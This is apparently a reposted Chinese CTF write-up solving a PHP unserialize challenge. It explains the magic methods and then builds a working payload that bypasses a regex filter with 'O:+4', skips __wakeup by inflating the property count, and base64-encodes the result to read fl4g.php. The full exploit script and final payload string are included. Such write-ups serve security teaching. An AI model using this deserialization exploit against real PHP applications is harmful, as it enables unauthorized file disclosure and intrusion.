柚子快報激活碼778899分享:php web安全 Web
?
目錄
一、題目概覽
二、基礎(chǔ)知識
1、魔術(shù)函數(shù)
2、常見php函數(shù)
三、解題步驟
1、繞過preg_match函數(shù)
2、繞過_wakeup()函數(shù)
3、必須是base64加密
4、get方式傳參得flag
?四、附錄
php在線運行網(wǎng)站
php完整腳本
一、題目概覽
解析php代碼,可以看出是php反序列化漏洞的題
class Demo { //一個類
private $file = 'index.php'; //私有變量,本題需要注意的細(xì)節(jié)
public function __construct($file) { //構(gòu)造函數(shù)
$this->file = $file;
}
function __destruct() { //析構(gòu)函數(shù)
echo @highlight_file($this->file, true);
}
function __wakeup() { //繞過wakeup函數(shù)
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //檢查是否通過get方式傳參
$var = base64_decode($_GET['var']); //將var通過base64編碼
if (preg_match('/[oc]:\d+:/i', $var)) { //正則匹配
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
思路:構(gòu)造參數(shù)使fl4g.php層層偽裝,最后通過get方式將參數(shù)賦值給var,便可得到flag
二、基礎(chǔ)知識
1、魔術(shù)函數(shù)
_construct 構(gòu)造函數(shù),實例化對象使自動調(diào)用該函數(shù)
_destruct析構(gòu)函數(shù),該函數(shù)會在類的一個對象被刪除時自動調(diào)用。
_wakeup函數(shù),在反序列化之前調(diào)用該函數(shù),但是如果序列化字符串中表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時就會跳過_wakeup函數(shù)。
2、常見php函數(shù)
str_replace函數(shù),替換字符串(區(qū)分大小寫),后面會用到來寫php腳本
preg_match正則匹配函數(shù),用于匹配字符串中是否有特定字符
三、解題步驟
要想得到fl4g.php,需要滿足以下條件:
1、繞過preg_match函數(shù)
if?(isset($_GET['var']))?{? ????$var?=?base64_decode($_GET['var']);? ????if?(preg_match('/[oc]:\d+:/i',?$var))?{? ????????die('stop?hacking!');? ????}?else?{ ????????@unserialize($var);???? }?
?首先將字符串"fl4g.php"序列化,可以直接手寫,也可以用php腳本來執(zhí)行
腳本如下:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A=new Demo("fl4g.php");
$C=serialize($A);
echo $C;
?>
?得到的結(jié)果:
可以看到的是,序列化之后的結(jié)果有兩個特殊字符,這是由于file是private屬性的,序列化之后會在其前后有空格,即%00,protect屬性的變量也類似。
我們看看上面fl4g.php序列化的結(jié)果:
O:4:"Demo":這部分表示一個對象,其類名為"Demo"。對象序列化的長度為4。 :1::表示這個對象有1個屬性或成員。 {s:10:" Demo file";s:8:"fl4g.php";}:這是對象的成員。
s:10:" Demo file":表示一個字符串,長度為10,內(nèi)容為" Demo file"。s:8:"fl4g.php":表示另一個字符串,長度為8,內(nèi)容為"fl4g.php"。
所以,這個序列化字符串表示一個名為"Demo"的類的一個實例,該實例有一個屬性,其中第一個屬性是一個長度為10的字符串" Demo file",第二個屬性是一個長度為8的字符串"fl4g.php"。
現(xiàn)在來分析preg_match('/[oc]:\d+:/i',?$var)
[oc]:這是一個字符集,表示匹配其中的任何一個字符,即"o"或"c"。::這是一個普通字符,表示直接匹配":"字符。\d+:這是一個量詞,表示匹配一個或多個數(shù)字。::再次,這是一個普通字符,表示直接匹配":"字符。i:這是一個修飾符,表示匹配時不區(qū)分大小寫。
綜上,能被該函數(shù)過濾的有“o:數(shù)字:”或者“c:數(shù)字:”,我們要想繞過preg_match()函數(shù),就只要不滿足上述條件即可,函數(shù)想過濾”O(jiān):4“,我們只要稍微修改一下改成”O(jiān):+4“就行。
執(zhí)行代碼如下:
$C = str_replace('O:4', 'O:+4',$C);
2、繞過_wakeup()函數(shù)
前面我們講了,如果序列化字符串中表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時就會跳過_wakeup函數(shù),那么,我們只需要將對象屬性的個數(shù)增大即可
我們將1改為其他數(shù)就行,這里我們改為2,代碼如下:
$C = str_replace(':1:', ':2:',$C);//繞過wakeup
3、必須是base64加密
將上述代碼執(zhí)行得到的結(jié)果為
可以看到還是有空格鍵的存在,選擇復(fù)制,發(fā)現(xiàn)復(fù)制不了,剛開始想的是,手工將空格添上,再base64加密,后來發(fā)現(xiàn)不行,結(jié)果不對。
于是采用代碼來執(zhí)行base64的加密:
$C=base64_encode($C);
?執(zhí)行得到的base64加密如下:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
4、get方式傳參得flag
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?得到flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
?四、附錄
php在線運行網(wǎng)站
PHP 在線工具 | 菜鳥工具
php完整腳本
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php'); //創(chuàng)建對象
$C = serialize($A); //對對象A進行序列化
$C = str_replace('O:4','O:+4',$C); //繞過正則表達式過濾
$C = str_replace(':1:',':2:',$C); //wakeup繞過
$C=base64_encode($C); //base64加密
echo $C;
?>
喜歡的話就給我點個贊吧,我們一起成長!
柚子快報激活碼778899分享:php web安全 Web
相關(guān)鏈接
本文內(nèi)容根據(jù)網(wǎng)絡(luò)資料整理,出于傳遞更多信息之目的,不代表金鑰匙跨境贊同其觀點和立場。
轉(zhuǎn)載請注明,如有侵權(quán),聯(lián)系刪除。